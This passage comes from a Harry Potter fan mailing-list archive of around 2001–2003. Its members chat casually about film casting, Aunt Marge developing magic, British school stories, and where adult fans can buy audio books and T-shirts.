be aregued that JKR is superior to JRRT here, because of the economic 
& political stuff referred to above.  Hogwarts has toilets that are 
relevant to the plot - Middle Earth is a world without toilets. Nuff 
said.

Possibly taking the opposite point of view to a friend's boyfriend is 
a recipe for losing an argument.

David




From dfrankiswork at netscape.net  Sun Sep 30 20:41:54 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Sun, 30 Sep 2001 20:41:54 -0000
Subject: Patricia Routledge
In-Reply-To: <3BB7501C.193173CB@earthlink.net>
Message-ID: <9p802i+erri@eGroups.com>

--- In HPFGU-OTChatter at y..., Pam Hugonnet <pbarhug at e...> wrote:
> I keep
> seeing Patricia Routledge as Madame Pomfrey.
> 
> drpam

No way!  Who would play Marjorie Dursley?

David




From blpurdom at yahoo.com  Sun Sep 30 22:13:11 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 30 Sep 2001 22:13:11 -0000
Subject: Patricia Routledge
In-Reply-To: <9p802i+erri@eGroups.com>
Message-ID: <9p85dn+j9dn@eGroups.com>

--- In HPFGU-OTChatter at y..., dfrankiswork at n... wrote:
> --- In HPFGU-OTChatter at y..., Pam Hugonnet <pbarhug at e...> wrote:
> > I keep
> > seeing Patricia Routledge as Madame Pomfrey.
> > 
> > drpam
> 
> No way!  Who would play Marjorie Dursley?
> 
> David

Speaking of which, has anyone thought of Aunt Marge as a candidate 
for the seeming-Muggle who starts to evince magical powers late in 
life?  That would give Vernon and Petunia twin coronaries, I 
imagine...

--Barb





From nlpnt at yahoo.com  Sun Sep 30 23:18:44 2001
From: nlpnt at yahoo.com (nlpnt at yahoo.com)
Date: Sun, 30 Sep 2001 23:18:44 -0000
Subject: Naughty Ford Anglia, English school stories (was Potter derivative of LOTR? )
In-Reply-To: <008301c14867$00954b20$a93670c2@c5s910j>
Message-ID: <9p898k+tqpn@eGroups.com>


> Lisa said:
> "The witness reported that he observed sex taking place between two 
parked
> cars." ...
> 
> Neil.  Have you been getting into trouble?>>
> 
> ***
> 
> What can I say?  I have to get it where I can...
> 
> The Mechanimagus


I just got a book on east European cars (called, wait for it, "East 
European Cars") from Amazon UK. There's a picture of that Russian 
model, Lada Samara; have you met her, Ford?

I also got a couple of Jennings books, which I'd heard about but 
never seen a copy of; what a laugh riot! Picture a young, likeable 
Basil Fawlty or an English Peter Hatcher (Fudge's older brother, 
remember?) Anyone planning to order books from the UK would be well 
advised to throw a couple of these in.




From jrober4 at bellsouth.net  Mon Sep 24 16:22:44 2001
From: jrober4 at bellsouth.net (jrober4 at bellsouth.net)
Date: Mon, 24 Sep 2001 12:22:44 -0400
Subject: [HPFGU-OTChatter] hi!
References: <b3s9i5+vg8t@eGroups.com> <000b01c2e09d$54e3d5a0$9c01f50c@mac>
Message-ID: <003701c14515$255c72d0$72a0d6d1@nonexuzodpqjy5>

Thanks for the tip on the audio books -- who does the "reading" of them?  And, I will also join the Collectibles egroup.  

I agree with you that the popularity of HP with adults seems to be unappreciated, but you can add *me* to the list of those who hope this mistake will be corrected.  I should think that the pre-orders of book #5 (which I did at Amazon.com last night) should tell them *something* . . . . . . .

Judy
  ----- Original Message ----- 
  From: Prof_chase 
  To: HPFGU-OTChatter at yahoogroups.com 
  Sent: Sunday, March 02, 2003 5:23 AM
  Subject: Re: [HPFGU-OTChatter] hi!


  Hi Judy, if you think the books are cool, check out the audio books. They
  are great to listen to.  yes, there are plenty of Adult HP fans out there
  too.
  As for adult stuff, its out there, but limited in quanity and stuff. Most of
  the HP stuff is geared towards the kids. I think only now, are they starting
  to realize just how Popular HP is with us adults..
  You can find tshirts on Ebay.
  You can find adult size wizard robes at a number of places, including
  www.thewandshop.com or use any search engine and look up witch or wizard
  robes and there are many "wician" or other pagan websites that sell
  robes/cloaks, etc.. for costumes..




  For a voice and text chat, Join us at Hogwarts School on Paltalk, in the
  Meet new friends group.
  Join HP collectables, to discuss collecting various HP items.
  Subscribe:  HPcollectables-subscribe at yahoogroups.com
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  List owner:  HPcollectables-owner at yahoogroups.com

  ----- Original Message -----
  From: <jrober4 at bellsouth.net>
  To: <HPFGU-OTChatter at yahoogroups.com>
  Sent: Sunday, March 02, 2003 1:49 AM
  Subject: [HPFGU-OTChatter] hi!


  > My name is Judy, and I am new here.  I recently discovered Harry
  > Potter when I finally got curious enough to watch "Sorcerer's Stone"
  > on Cinemax two weeks ago.  Much to my surprise, I liked it *very
  > much* and found it quite charming.  Next, I watched "SS" a couple
  > more times while I was doing things on my computer.  I decided I
  > wanted to read the "SS" book, and bought this and the "CoS" one
  > Wednesday morning.  That night, I began reading "SS" and enjoyed it
  > very much, finishing it Saturday afternoon (reading it at bedtime
  > and at work when I didn't have customers to wait on -- I work in a
  > movie theater).  I started reading "CoS" right away, and I am
  > enjoying these books more and more!  Meanwhile, Friday evening, I
  > bought PoA and GoF, so I now have all four books.  Considering **how
  > much* I am liking these books, I will probably end up pre-ordering
  > the new one, though I am saving every spare penny I can for my trip
  > to Scotland in June, where my boyfriend is.  And, of course, I will
  > rent the CoS movie when it comes out next month, as I haven't seen
  > it yet and very much want to see how it parallels the book.
  >
  > I am *delighted* that there is a place for us Grown-up fans of Harry
  > Potter to come.  I must confess that I am 49 years old, and am
  > wondering if there are any other HP fans in my age group here?
  > Thankfully, HP is quite popular among many of my co-workers (at the
  > theater), which helps in my new-found enthusiasm for the series!
  > For now, I am just on the HPFGU - Movie list, until I have read all
  > four books, since I wouldn't understand yet many references being
  > made on the main list.
  >
  > Oh, one more thing -- I don't know if this is the right place to
  > ask, but does anyone sell adult-size HP t-shirts?  In the United
  > States?  Online?
  >
  > Looking forward to any discussions on HP, first on the Movie list
  > and then on the Main list!
  >
  > Judy
  > Chapel Hill, North Carolina  USA
  >
  >
  >
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  >


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  ________HPFGU______Hexquarters______Announcement_______________

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  Remember to use accurate subject headings and to snip unnecessary material from posts to which you're replying!

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